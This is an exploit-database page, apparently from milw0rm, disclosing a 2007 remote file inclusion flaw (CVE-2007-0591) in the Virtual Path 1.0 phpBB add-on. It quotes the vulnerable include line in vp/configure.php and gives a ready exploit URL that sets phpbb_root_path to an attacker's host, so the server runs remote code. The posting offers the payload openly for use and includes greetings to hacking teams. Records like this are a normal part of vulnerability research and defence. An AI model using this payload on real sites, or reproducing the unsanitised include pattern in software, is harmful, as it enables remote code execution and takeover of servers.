Virtual Path 1.0 (vp/configure.php) Remote File Include Vulnerability



EDB-ID: 3198 CVE: 2007-0591OSVDB-ID: 31636
Author: GoLd_MPublished: 2007-01-25Verified: Verified
Exploit Code:   DownloadVulnerable App:   N/A

Rating

(0.0)
Prev Home Next
+=====================================================================
+                  Virtual Path phpBB <== v1.0                       |
+=====================================================================
+ Downlaoad S :http://sourceforge.net/projects/virtualpath/          |
+=====================================================================
+ Author: GolD_M = Mahmood_ali  &&  Contact: HackEr_@W.Cn            |
======================================================================
+ SpeciaL GreeTz : Tryag-Team & 4lKaSrGoLd3n-Team                    |
+=====================================================================
+ In:  /vp/configure.php                                             |
+=====================================================================
+ Vulnerable Code:  &  Line : 3                                      |
+=====================================================================
+ include_once($phpbb_root_path. 'vp/conf.php');                     |
+=====================================================================
+ Exploit:                                                           |
+=====================================================================
+ http://Victim.Com/vp/configure.php?phpbb_root_path=Evil?           |
+=====================================================================
+                    Tryag.Com & Dwrat.com                           |
+=====================================================================
# milw0rm.com [2007-01-25]






Comments

No comments so far